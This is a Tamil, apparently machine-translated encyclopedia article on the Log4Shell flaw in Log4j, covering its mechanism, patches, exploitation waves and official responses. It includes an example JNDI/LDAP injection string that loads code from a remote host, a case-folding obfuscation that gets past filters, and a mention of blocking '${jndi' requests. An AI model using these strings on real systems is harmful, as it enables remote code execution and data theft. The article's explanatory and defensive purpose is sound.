Log4Shell
Log4Shell (CVE-2021-44228) என்பது பிரபலமான ஜாவா லாக்கிங் கட்டமைப்பான Log4j இல் உள்ள பூஜ்ஜிய நாள் பாதிப்பாகும், இது தன்னிச்சையான குறியீடு செயல்பாட்டை உள்ளடக்கியது. இந்த பாதிப்பானது 2013 முதல் கவனிக்கப்படாமல் இருந்தது, மேலும் 24 நவம்பர் 2021 அன்று அலிபாபா கிளவுட்டின் பாதுகாப்புக் குழுவின் சென் ஜாவோஜுனால் லாக் 4 ஜே ஒரு திட்டமான அப்பாச்சி மென்பொருள் அறக்கட்டளைக்கு தனிப்பட்ட முறையில் வெளிப்படுத்தப்பட்டது. 10 டிசம்பர் 2021 அன்று ஒரு அதிகாரப்பூர்வ சி. வி. இ அடையாளங்காட்டி கிடைக்கப்பெறுவதற்கு முன்பு, லூனாசெக் குழுவின் ஃப்ரீ வோர்ட்லி வழங்கிய "லாக் 4 ஷெல்" என்ற பெயருடன் பாதிக்கப்படக்கூடிய தன்மை பரவியது, இது ஆரம்பத்தில் ஆன்லைனில் சிக்கலைக் கண்காணிக்கப் பயன்படுத்தப்பட்டது. அப்பாச்சி லாக் 4 ஷெல்லுக்கு 10 என்ற சி. வி. எஸ். எஸ் தீவிர மதிப்பீட்டைக் கொடுத்தது, இது கிடைக்கக்கூடிய மிக உயர்ந்த மதிப்பெண் ஆகும். இந்த சுரண்டல் செயல்படுத்த எளிதானது மற்றும் நூற்றுக்கணக்கான மில்லியன் சாதனங்களை பாதிக்கும் திறன் கொண்டதாக மதிப்பிடப்பட்டுள்ளது. தன்னிச்சையான எல். டி. ஏ. பி மற்றும் ஜே. என். டி. ஐ சேவையகங்களுக்கு கோரிக்கைகளை அனுமதிக்கும் லாக் 4 ஜே இன் பாதிப்பைப் பயன்படுத்திக் கொள்கிறது, இது தாக்குபவர்களை ஒரு சேவையகம் அல்லது பிற கணினியில் தன்னிச்சையான ஜாவா குறியீட்டை இயக்க அனுமதிக்கிறது, அல்லது முக்கியமான தகவல்களை கசியவிடுகிறது. அதன் பாதிக்கப்பட்ட மென்பொருள் திட்டங்களின் பட்டியலை அப்பாச்சி பாதுகாப்புக் குழு வெளியிட்டுள்ளது. பாதிக்கப்பட்ட வணிக சேவைகளில் அமேசான் வெப் சர்வீசஸ், கிளவுட்ஃப்ளேர், ஐக்ளவுட், மைன்கிராஃப்ட்ஃ ஜாவா எடிஷன், ஸ்டீம், டென்சென்ட் க்யூக்யூ மற்றும் பல அடங்கும். விஸ் மற்றும் ஈ. ஒய். யின் கூற்றுப்படி, 93 சதவீதம் நிறுவன மேகச் சூழல் பாதிக்கப்பட்டுள்ளது. பாதிப்பின் வெளிப்பாடு சைபர் பாதுகாப்பு நிபுணர்களிடமிருந்து வலுவான எதிர்வினைகளைப் பெற்றது. சைபர் செக்யூரிட்டி நிறுவனமான டெனபிள் இந்த சுரண்டல் "இதுவரை இல்லாத மிகப்பெரிய, மிகவும் முக்கியமான பாதிப்பு" என்று கூறியது, ஆர்ஸ் டெக்னிகா இதை "விவாதிக்கக்கூடிய வகையில் மிகவும் கடுமையான பாதிப்பு" என்று அழைத்தது, மேலும் தி வாஷிங்டன் போஸ்ட் பாதுகாப்பு நிபுணர்களின் விளக்கங்கள் "அபோகாலிப்டிக்கின் எல்லையில்" இருப்பதாகக் கூறியது. பின்னணி பதிவு 4ஜே என்பது ஒரு திறந்த மூல பதிவு கட்டமைப்பாகும், இது மென்பொருள் உருவாக்குநர்களை தங்கள் பயன்பாடுகளுக்குள் தரவை பதிவு செய்ய அனுமதிக்கிறது. இந்தத் தரவு பயனர் உள்ளீட்டை உள்ளடக்கியிருக்கலாம். இது ஜாவா பயன்பாடுகளில், குறிப்பாக நிறுவன மென்பொருளில் எங்கும் பயன்படுத்தப்படுகிறது. முதலில் 2001 ஆம் ஆண்டில் செக்கி குல்சுவால் எழுதப்பட்டது, இது இப்போது அப்பாச்சி மென்பொருள் அறக்கட்டளையின் திட்டமான அப்பாச்சி லாக்கிங் சர்வீசஸின் ஒரு பகுதியாகும். சைபர் பாதுகாப்புக்கான ஜனாதிபதி ஒபாமாவின் ஆணையத்தின் உறுப்பினரான டாம் கெல்லர்மேன், அப்பாச்சியை "பயன்பாடுகள் மற்றும் கணினி சூழல்களுக்கு இடையிலான இணைப்பு திசுக்களை எளிதாக்கும் ஒரு பாலத்தின் மாபெரும் ஆதரவுகளில் ஒன்று" என்று விவரித்தார். நடத்தை ஜாவா பெயரிடும் மற்றும் அடைவு இடைமுகம் (ஜேஎன்டிஐ) ஜாவா பொருள்களை அவற்றின் தரவுகளுக்கு ஒரு பாதை கொடுக்கப்பட்ட நிரல் இயக்க நேரத்தில் பார்க்க அனுமதிக்கிறது. ஜேஎன்டிஐ பல அடைவு இடைமுகங்களைப் பயன்படுத்தலாம், ஒவ்வொன்றும் கோப்புகளைத் தேடும் வெவ்வேறு திட்டத்தை வழங்குகிறது. இந்த இடைமுகங்களில் இலகுவான அடைவு அணுகல் நெறிமுறை (எல். டி. ஏ. பி), ஜாவா அல்லாத குறிப்பிட்ட நெறிமுறை, இது உள்ளூர் அல்லது இணையத்தில் எங்கும் பொருத்தமான சேவையகத்திலிருந்து பொருள் தரவை URL ஆக மீட்டெடுக்கிறது. முன்னிருப்பு உள்ளமைவில், ஒரு சரத்தை உள்நுழையும் போது, log4j2 ${முன்னொட்டுஃ பெயர்} வடிவத்தின் வெளிப்பாடுகளில் சரம் மாற்றீட்டைச் செய்கிறது. எடுத்துக்காட்டாக, உரைஃ ${ஜாவாஃ பதிப்பு} உரைஃ ஜாவா பதிப்பு 1.7.0_67 ஆக மாற்றப்படலாம். அங்கீகரிக்கப்பட்ட வெளிப்பாடுகளில் ஒன்று ${jndi: <தேடல்>}; எல். டி. ஏ. பி வழியாக இருக்க வேண்டிய தேடலைக் குறிப்பிடுவதன் மூலம், ஒரு தன்னிச்சையான யூ. ஆர். எல் கேட்கப்பட்டு ஜாவா பொருள் தரவுகளாக ஏற்றப்படலாம். எடுத்துக்காட்டாக, இணையத்துடன் இணைக்கப்பட்டிருந்தால் அந்த URL இலிருந்து தரவை ${jndi: ldap:// எடுத்துக்காட்டு. காம்/கோப்பு} ஏற்றும். பதிவுசெய்யப்பட்ட சரத்தை உள்ளிடுவதன் மூலம், தாக்குபவர் ஒரு பொது URL இல் ஹோஸ்ட் செய்யப்பட்ட தீங்கிழைக்கும் குறியீட்டை ஏற்றலாம் மற்றும் இயக்கலாம். தரவை செயல்படுத்துவது முடக்கப்பட்டிருந்தாலும், தாக்குபவர் இன்னும் தரவை மீட்டெடுக்க முடியும்-ரகசிய சூழல் மாறிகள் போன்றவை-அவற்றை URL இல் வைப்பதன் மூலம், இந்த விஷயத்தில் அவை மாற்றப்பட்டு தாக்குபவரின் சேவையகத்திற்கு அனுப்பப்படும். எல். டி. ஏ. பி தவிர, பயன்படுத்தக்கூடிய பிற ஜேஎன்டிஐ தேடல் நெறிமுறைகளில் அதன் பாதுகாப்பான மாறுபாடு எல். டி. ஏ. பி. எஸ், ஜாவா ரிமோட் மெத்தட் இன்வொகேஷன் (ஆர்எம்ஐ), டொமைன் நேம் சிஸ்டம் (டிஎன்எஸ்) மற்றும் இன்டர்நெட் இன்டர்-ஓஆர்பி புரோட்டோகால் (ஐஐஓபி) ஆகியவை அடங்கும். HTTP கோரிக்கைகள் அடிக்கடி பதிவு செய்யப்படுவதால், ஒரு பொதுவான தாக்குதல் திசையன் தீங்கிழைக்கும் சரத்தை HTTP கோரிக்கை URL இல் அல்லது பயனர்-முகவர் போன்ற பொதுவாக பதிவு செய்யப்பட்ட HTTP தலைப்பில் வைப்பதாகும். ${jndi போன்ற தீங்கிழைக்கும் உள்ளடக்கங்களைக் கொண்ட எந்தவொரு கோரிக்கைகளையும் தடுப்பது ஆரம்பகால தணிப்புகளில் அடங்கும். அத்தகைய அடிப்படை சரம் பொருந்தும் தீர்வுகளை கோரிக்கையை மறைப்பதன் மூலம் தவிர்க்கலாம்ஃ எடுத்துக்காட்டாக, ${${லோவர்ஃ ஜே} என். டி. ஐ, ஜே எழுத்தில் சிறிய எழுத்து செயல்பாட்டைச் செய்த பிறகு ஜே. என். டி. ஐ தேடலாக மாற்றப்படும். முதல் பெயர் போன்ற உள்ளீடு உடனடியாக பதிவு செய்யப்படாவிட்டாலும், அது பின்னர் உள் செயலாக்கத்தின் போது பதிவு செய்யப்பட்டு அதன் உள்ளடக்கங்கள் செயல்படுத்தப்படலாம். இந்த பாதிப்புக்கான தணிப்பு திருத்தங்கள் 6 டிசம்பர் 2021 அன்று, பாதிப்பு வெளியிடப்படுவதற்கு மூன்று நாட்களுக்கு முன்பு, லாக் 4 ஜே பதிப்பு 2.15.0-rc1 இல் வெளியிடப்பட்டன. தேடல்களுக்கு பயன்படுத்தக்கூடிய சேவையகங்கள் மற்றும் நெறிமுறைகளை கட்டுப்படுத்துவது இதில் அடங்கும். சி. வி. இ-2021-45046 என்ற தொடர்புடைய பிழையை ஆராய்ச்சியாளர்கள் கண்டுபிடித்தனர், இது இயல்புநிலை அல்லாத சில உள்ளமைவுகளில் உள்ளூர் அல்லது தொலைநிலை குறியீட்டை செயல்படுத்த அனுமதிக்கிறது மற்றும் பதிப்பு 2.16.0 இல் சரி செய்யப்பட்டது, இது ஜேஎன்டிஐ மற்றும் செய்தி தேடலுக்கான ஆதரவைப் பயன்படுத்தி அனைத்து அம்சங்களையும் முடக்கியது. நூலகத்தில் மேலும் இரண்டு பாதிப்புகள் காணப்பட்டனஃ சேவை மறுப்பு தாக்குதல், CVE-2021-45105 ஆக கண்காணிக்கப்பட்டு 2.17.0 இல் சரி செய்யப்பட்டது; மற்றும் தொலைநிலை குறியீடு செயல்படுத்தல் பாதிப்பை சுரண்டுவது கடினம், CVE-2021-44832 ஆக கண்காணிக்கப்பட்டு 2.17.1 இல் சரி செய்யப்பட்டது. முந்தைய பதிப்புகளைப் பொறுத்தவரை, இரண்டு பாதிப்புகளையும் குறைக்க org.apache.logging.log4j.core.lookup.JndiLookup வகுப்பை வகுப்பறையிலிருந்து அகற்ற வேண்டும். பழைய பதிப்புகளுக்கான ஆரம்பகால பரிந்துரைக்கப்பட்ட திருத்தம் கணினி பண்பு log4j2.formatMsgNoLookups ஐ உண்மையாக அமைப்பது ஆகும், ஆனால் இந்த மாற்றம் CVE-2021-45046 இன் சுரண்டலைத் தடுக்காது, பின்னர் சில சந்தர்ப்பங்களில் செய்தி தேடல்களை முடக்கவில்லை என்று கண்டறியப்பட்டது. சில பயன்பாடுகளில் பிற தாக்குதல் திசையன்கள் இன்னும் இருந்தாலும், ஜாவா ரன்டைம் என்விரான்மென்ட் (ஜே. ஆர். இ) இன் புதிய பதிப்புகள் ரிமோட் குறியீட்டை இயல்பாகவே ஏற்றுவதைத் தடுப்பதன் மூலம் இந்த பாதிப்பைக் குறைக்கின்றன. கட்டமைக்கப்பட்ட ஜாவா தொகுப்புகளில் பயன்படுத்தப்படும் பாதிக்கப்படக்கூடிய லாக் 4 ஜே பதிப்புகளைக் கண்டறிய உதவும் பல முறைகள் மற்றும் கருவிகள் வெளியிடப்பட்டுள்ளன. புதுப்பிக்கப்பட்ட பதிப்புகளைப் பயன்படுத்துவது சாத்தியமில்லாத இடங்களில், வளங்களின் பற்றாக்குறை அல்லது மூன்றாம் தரப்பு நிர்வகிக்கப்பட்ட தீர்வுகள் போன்ற பல்வேறு கட்டுப்பாடுகள் காரணமாக, பாதிக்கப்படக்கூடிய வரிசைப்படுத்தல்களிலிருந்து வெளிப்புற நெட்வொர்க் போக்குவரத்தை வடிகட்டுவது பலருக்கு முதன்மை உதவியாக உள்ளது. இந்த அணுகுமுறை என். சி. சி குழுமம் மற்றும் தேசிய சைபர் பாதுகாப்பு மையம் (யுனைடெட் கிங்டம்) ஆகியவற்றால் பரிந்துரைக்கப்படுகிறது, மேலும் இது ஆழமான அளவில் பாதுகாப்புக்கு ஒரு எடுத்துக்காட்டு ஆகும். இத்தகைய வடிகட்டுதலின் செயல்திறன் நூலகம் மற்றும் ஜே. ஆர். இ. யின் பல முற்றிலும் அல்லது ஓரளவு பாதிக்கப்படக்கூடிய பதிப்புகளுடன் வெளியேறும் போக்குவரத்தை இடைமறிக்கும் திறன் கொண்ட ஃபயர்வால்களுடன் நடத்தப்பட்ட ஆய்வக சோதனைகளால் நிரூபிக்கப்பட்டுள்ளது. பயன்பாடு சுரண்டல் ஹேக்கர்கள் ஜாவாவைப் பயன்படுத்தி பாதிக்கப்படக்கூடிய சாதனங்களின் கட்டுப்பாட்டைப் பெற அனுமதிக்கிறது. சில ஹேக்கர்கள் பாதிக்கப்பட்டவர்களின் சாதனங்களை கிரிப்டோகரன்சி சுரங்கத்திற்கு பயன்படுத்துவதற்கும், போட்நெட்டுகளை உருவாக்குவதற்கும், ஸ்பேம் அனுப்புவதற்கும், பின் கதவுகளை நிறுவுவதற்கும், ransomware தாக்குதல்கள் போன்ற பிற சட்டவிரோத நடவடிக்கைகளுக்கும் பயன்படுத்துகின்றனர். பாதிப்பின் வெளிப்பாட்டைத் தொடர்ந்து வந்த நாட்களில், செக் பாயிண்ட் ஹேக்கர்களால் தொடங்கப்பட்ட மில்லியன் கணக்கான தாக்குதல்களைக் கவனித்தது, சில ஆராய்ச்சியாளர்கள் நிமிடத்திற்கு நூறு தாக்குதல்களின் விகிதத்தைக் கவனித்தனர், இதன் விளைவாக இறுதியில் சர்வதேச அளவில் 40 சதவீதத்திற்கும் அதிகமான வணிக நெட்வொர்க்குகள் மீது தாக்குதல்கள் நடத்தப்பட்டன. கிளவுட்ஃப்ளேர் தலைமை நிர்வாக அதிகாரி மத்தேயு பிரின்ஸின் கூற்றுப்படி, சுரண்டலின் பயன்பாடு அல்லது சோதனைக்கான சான்றுகள் டிசம்பர் 1 ஆம் தேதி, அது பகிரங்கமாக வெளிப்படுத்தப்படுவதற்கு ஒன்பது நாட்களுக்கு முன்பே செல்கின்றன. சைபர் பாதுகாப்பு நிறுவனமான கிரேநோயிஸின் கூற்றுப்படி, பல ஐபி முகவரிகள் பாதிக்கப்படக்கூடிய சேவையகங்களை சரிபார்க்க வலைத்தளங்களை ஸ்கிராப் செய்கின்றன. டிசம்பர் 10 ஆம் தேதிக்குள் முஹ்ஸ்டிக் போட்நெட், மிராய் மற்றும் சுனாமி உட்பட பல போட்நெட்டுகள் பாதிப்புக்கான ஸ்கேனிங் செய்யத் தொடங்கின. ரான்சம்வேர் குழு கான்டி டிசம்பர் 17 அன்று பாதிப்பைப் பயன்படுத்தி காணப்பட்டது. சீனா மற்றும் ஈரானில் உள்ள சில அரசு நிதியுதவி குழுக்களும் செக் பாயிண்டின் படி சுரண்டலைப் பயன்படுத்தின, ஆனால் இஸ்ரேல், ரஷ்யா அல்லது அமெரிக்கா சேதத்தை வெளிப்படுத்துவதற்கு முன்பு சுரண்டலைப் பயன்படுத்தியதா என்பது தெரியவில்லை. 15 டிசம்பர் 2021 அன்று, ஈரான் ஆதரவு ஹேக்கர்கள் இஸ்ரேலிய வணிகங்கள் மற்றும் அரசாங்க நிறுவனங்களின் நெட்வொர்க்குகளுக்குள் ஊடுருவ முயன்றதாக செக் பாயிண்ட் தெரிவித்துள்ளது. அமெரிக்காவில், சைபர் செக்யூரிட்டி அண்ட் இன்ஃப்ராஸ்ட்ரக்சர் செக்யூரிட்டி ஏஜென்சியின் (சிஐஎஸ்ஏ) இயக்குனர் ஜென் ஈஸ்டர்லி, இந்த சுரண்டலை "எனது முழு வாழ்க்கையிலும் நான் கண்ட மிக தீவிரமான ஒன்று, மிகவும் தீவிரமானது அல்ல" என்று விவரித்தார், நூற்றுக்கணக்கான மில்லியன் சாதனங்கள் பாதிக்கப்பட்டுள்ளன என்று விளக்கி, மென்பொருள் புதுப்பிப்புகளுக்கு முன்னுரிமை வழங்குமாறு விற்பனையாளர்களுக்கு அறிவுறுத்தினார். அமெரிக்க அரசாங்கத்தால் ஒப்பந்தம் செய்யப்பட்ட சிவிலியன் ஏஜென்சிகள் பாதிப்புகளை சரிசெய்ய 24 டிசம்பர் 2021 வரை இருந்தன. ஜனவரி 4 அன்று, ஃபெடரல் டிரேட் கமிஷன் (எஃப்டிசி) பயன்படுத்தப்பட்ட லாக் 4 ஜே மென்பொருளைப் புதுப்பிக்க நியாயமான நடவடிக்கைகளை எடுக்கத் தவறும் நிறுவனங்களைத் தொடரும் தனது நோக்கத்தைக் கூறியது. ஒரு வெள்ளை மாளிகை கூட்டத்தில், திறந்த மூல மென்பொருளின் பாதுகாப்பு பராமரிப்பின் முக்கியத்துவம்-பெரும்பாலும் ஒரு சில தன்னார்வலர்களால் மேற்கொள்ளப்படுகிறது-தேசிய பாதுகாப்புக்கு தெளிவுபடுத்தப்பட்டது. சில திறந்த மூல திட்டங்கள் அவற்றின் மீது பல கண்களைக் கொண்டிருந்தாலும், மற்றவர்களுக்கு அவர்களின் பாதுகாப்பை உறுதிசெய்ய பல அல்லது எந்தவொரு நபரும் இல்லை. ஜேர்மனியின் Bundesamt für Sicherheit in der Infர்மேஷநஸ்டெச்னிக் (பி. எஸ். ஐ) இந்த சுரண்டலை ஏஜென்சியின் மிக உயர்ந்த அச்சுறுத்தல் மட்டத்தில் இருப்பதாக அறிவித்தது, இது ஒரு "மிகவும் முக்கியமான அச்சுறுத்தல் நிலைமை" என்று அழைத்தது (மொழிபெயர்க்கப்பட்டுள்ளது). பல தாக்குதல்கள் ஏற்கனவே வெற்றிகரமாக நடந்ததாகவும், சுரண்டலின் அளவை மதிப்பிடுவது கடினம் என்றும் அது அறிவித்தது. நெதர்லாந்தின் தேசிய சைபர் பாதுகாப்பு மையம் (என். சி. எஸ். சி) பாதிக்கப்படக்கூடிய பயன்பாடுகளின் பட்டியலைத் தொடங்கியது. சைபர் பாதுகாப்புக்கான கனேடிய மையம் (சி. சி. சி. எஸ்) உடனடியாக நடவடிக்கை எடுக்குமாறு நிறுவனங்களுக்கு அழைப்பு விடுத்தது. கனடா வருவாய் நிறுவனம் சுரண்டல் பற்றி அறிந்த பிறகு அதன் ஆன்லைன் சேவைகளை தற்காலிகமாக மூடியது, அதே நேரத்தில் கியூபெக் அரசாங்கம் அதன் வலைத்தளங்களில் கிட்டத்தட்ட 4,000 ஐ "தடுப்பு நடவடிக்கையாக" மூடியது. பெல்ஜிய பாதுகாப்பு அமைச்சகம் ஒரு மீறல் முயற்சியை அனுபவித்தது மற்றும் அதன் நெட்வொர்க்கின் ஒரு பகுதியை மூட வேண்டிய கட்டாயம் ஏற்பட்டது. சைபர் பாதுகாப்பு அச்சுறுத்தல் புலனாய்வு கூட்டாளியாக அலிபாபா கிளவுட் உடனான பணியை சீன தொழில்துறை மற்றும் தகவல் தொழில்நுட்ப அமைச்சகம் ஆறு மாதங்களுக்கு இடைநிறுத்தியது, முதலில் அரசாங்கத்திற்கு பாதிப்பைப் புகாரளிக்கத் தவறியதற்காக. விஸ் மற்றும் ஈ. ஒய் நடத்திய வணிக ஆராய்ச்சி, கிளவுட் நிறுவன சூழலில் 93 சதவீதம் லாக் 4 ஷெல்லால் பாதிக்கப்படக்கூடியவை என்பதைக் காட்டுகிறது. பாதிக்கப்படக்கூடிய பணிச்சுமைகளில் 7 சதவீதம் இணையத்திற்கு ஆளாகின்றன மற்றும் பரந்த சுரண்டல் முயற்சிகளுக்கு ஆளாகின்றன. ஆராய்ச்சியின் படி, பாதிப்பை வெளிப்படுத்திய பத்து நாட்களுக்குப் பிறகு (20 டிசம்பர் 2021) பாதிக்கப்படக்கூடிய பணிச்சுமைகளில் 45 சதவீதம் மட்டுமே மேகச் சூழலில் சராசரியாக இணைக்கப்பட்டன. அமேசான், கூகிள் மற்றும் மைக்ரோசாப்ட் கிளவுட் தரவு லாக் 4 ஷெல்லால் பாதிக்கப்பட்டது. டிசம்பர் 2021 வரை லாக் 4 ஜே 'லாக் 4 ஷெல்' குறைபாட்டிற்கான அமைப்புகளை விசாரிக்கும் அரசு நிதியுதவி மற்றும் சைபர்-கிரிமினல் தாக்குபவர்களைக் கவனித்த பின்னர் விண்டோஸ் மற்றும் அஸூர் வாடிக்கையாளர்களை விழிப்புடன் இருக்குமாறு மைக்ரோசாப்ட் கேட்டுக்கொண்டது. தொழில்துறையின் மிகப்பெரிய வணிகங்களில் ஒன்றான மனித வள மேலாண்மை மற்றும் பணியாளர் மேலாண்மை நிறுவனமான யு. கே. ஜி, பெரிய வணிகங்களை பாதித்த ரான்சம்வேர் தாக்குதலால் குறிவைக்கப்பட்டது. இந்த சம்பவத்தில் லாக் 4 ஷெல் சுரண்டப்பட்டதற்கான ஆதாரங்கள் இல்லை என்று யுகேஜி கூறியது, இருப்பினும் சைபர் பாதுகாப்பு நிறுவனமான ரெக்கார்டட் ஃபியூச்சரைச் சேர்ந்த ஆய்வாளர் ஆலன் லிஸ்கா ஒரு தொடர்பு இருப்பதாகக் கூறினார். பெரிய நிறுவனங்கள் சுரண்டலுக்கான இணைப்புகளை வெளியிடத் தொடங்கியதும், ஹேக்கர்கள் மிகவும் பாதிக்கப்படக்கூடிய இலக்குகளில் கவனம் செலுத்தியதால் சிறு வணிகங்களுக்கான ஆபத்து அதிகரித்தது. தனியுரிமை ஸ்மார்ட் டிவிகள் மற்றும் பாதுகாப்பு கேமராக்கள் போன்ற இணையத்துடன் இணைக்கப்பட்ட சில தனிப்பட்ட சாதனங்கள் சுரண்டலுக்கு ஆளாகின்றன. நிறுத்தப்பட்ட உற்பத்தியாளர் ஆதரவு காரணமாக சில மென்பொருள்களுக்கு ஒரு பேட்ச் கிடைக்காமல் போகலாம். உலகளவில் அனைத்து கார்ப்பரேட் நெட்வொர்க்குகளிலும் கிட்டத்தட்ட பாதி பகுப்பாய்வு தீவிரமாக ஆராயப்பட்டுள்ளது, சுரண்டலின் 60 க்கும் மேற்பட்ட வகைகள் 24 மணி நேரத்திற்குள் தயாரிக்கப்பட்டுள்ளன. செக் பாயிண்ட் சாப்ட்வேர் டெக்னாலஜிஸ் ஒரு விரிவான பகுப்பாய்வில் நிலைமையை "ஒரு உண்மையான சைபர்-தொற்றுநோய்" என்றும், சேதத்திற்கான சாத்தியத்தை "கணக்கிட முடியாதது" என்றும் விவரித்தது. பல ஆரம்ப ஆலோசனைகள் பாதிக்கப்படக்கூடிய தொகுப்புகளின் அளவை மிகைப்படுத்தி, தவறான நேர்மறைகளுக்கு வழிவகுத்தன. மிகவும் குறிப்பிடத்தக்க வகையில், "log4j-api" தொகுப்பு பாதிக்கப்படக்கூடியதாக குறிக்கப்பட்டது, அதே நேரத்தில் உண்மையில் மேலும் ஆராய்ச்சி முக்கிய "log4j-கோர்" தொகுப்பு மட்டுமே பாதிக்கப்படக்கூடியதாக இருந்தது என்பதைக் காட்டுகிறது. இது அசல் வெளியீட்டு நூல் மற்றும் வெளிப்புற பாதுகாப்பு ஆராய்ச்சியாளர்களால் உறுதிப்படுத்தப்பட்டது. தொழில்நுட்ப இதழான வயர்டு பல பாதிப்புகளைச் சுற்றியுள்ள முந்தைய "மிகைப்படுத்தல்" இருந்தபோதிலும், "லாக் 4 ஜே பாதிப்பு. பல காரணங்களுக்காக மிகைப்படுத்தலுக்கு ஏற்ப வாழ்கிறது" என்று எழுதியது. லாக் 4 ஜே இன் பரவலானது, சாத்தியமான இலக்குகளால் கண்டறிய கடினமாக இருப்பது மற்றும் பாதிக்கப்பட்டவர்களுக்கு குறியீட்டை எளிதில் அனுப்புவது ஆகியவை "தீவிரம், எளிமை மற்றும் பரவலான கலவையை உருவாக்கியது, இது பாதுகாப்பு சமூகத்தை திகைக்க வைத்தது" என்று இதழ் விளக்குகிறது. லாக் 4 ஷெல்லைப் பயன்படுத்தும் ஹேக்கர்களின் நிலைகளையும் வயர்டு கோடிட்டுக் காட்டியது; கிரிப்டோமைனிங் குழுக்கள் முதலில் பாதிப்பைப் பயன்படுத்துகின்றன, தரவு தரகர்கள் பின்னர் சைபர் குற்றவாளிகளுக்கு ஒரு "கால்தடத்தை" விற்கிறார்கள், அவர்கள் இறுதியாக ransomware தாக்குதல்கள், உளவு பார்ப்பது மற்றும் தரவை அழிப்பதில் ஈடுபடுகிறார்கள். டெனபிளின் தலைமை நிர்வாக அதிகாரியும், யுனைடெட் ஸ்டேட்ஸ் கம்ப்யூட்டர் எமர்ஜென்சி ரெடினஸ் குழுவின் நிறுவன இயக்குநருமான அமித் யோரன், "[லாக் 4 ஷெல்] இதுவரை இல்லாத அளவுக்கு மிகப்பெரிய, மிகவும் முக்கியமான பாதிப்பாகும்" என்று கூறினார், பிழை ஏற்பட்ட சிறிது நேரத்திலேயே அதிநவீன தாக்குதல்கள் தொடங்குகின்றன என்பதைக் குறிப்பிட்டு, "இது ஏற்கனவே ransomware தாக்குதல்களுக்கு பயன்படுத்தப்படுவதையும் நாங்கள் காண்கிறோம், இது மீண்டும் ஒரு பெரிய அலாரம் மணியாக இருக்க வேண்டும். தாக்குபவர்கள் லாக் 4 ஷெல்லைப் பயன்படுத்தி மீட்கும் பணத்தைச் சேகரிக்கக் கூட பார்க்காமல் அமைப்புகளை அழிக்கப் பயன்படுத்துவதைப் பற்றிய அறிக்கைகளையும் நாங்கள் கண்டோம், இது மிகவும் அசாதாரணமான நடத்தை". சோஃபோஸின் மூத்த அச்சுறுத்தல் ஆராய்ச்சியாளர் சீன் கல்லாகர் கூறுகையில், "நேர்மையாக, இங்குள்ள மிகப்பெரிய அச்சுறுத்தல் என்னவென்றால், மக்கள் ஏற்கனவே அணுகலைப் பெற்றுள்ளனர் மற்றும் அதில் அமர்ந்திருக்கிறார்கள், மேலும் நீங்கள் ஏற்கனவே நெட்வொர்க்கில் உள்ள சிக்கலை சரிசெய்தாலும் கூட. இணையம் இருக்கும் வரை இது இருக்கும் "என்று கூறினார். ப்ளூம்பெர்க் நியூஸ் அறிக்கையின்படி, 2016 சைபர் பாதுகாப்பு மாநாட்டில் லாக் 4 ஜே உள்ளிட்ட பரந்த அளவிலான மென்பொருள்களின் சுரண்டல்கள் குறித்து எச்சரிக்கைகள் செய்யப்பட்ட பின்னர், பாதிப்பை சரிசெய்யத் தவறியதற்காக அப்பாச்சியின் டெவலப்பர்கள் மீது சில கோபம் செலுத்தப்பட்டது. குறிப்புகள் வெளிப்புற இணைப்புகள் Log4j வலைத்தளம் பொதுவான பாதிப்புகள் மற்றும் வெளிப்பாடுகள் பக்கம் தேசிய பாதிப்புகள் தரவுத்தளப் பக்கம் cve-2021-44228 ஆல் பாதிக்கப்பட்ட திட்டங்கள், ஊசி சுரண்டல்களைக் கணக்கிடுவதில் அப்பாச்சி பாதுகாப்புக் குழு 2021 ஆல்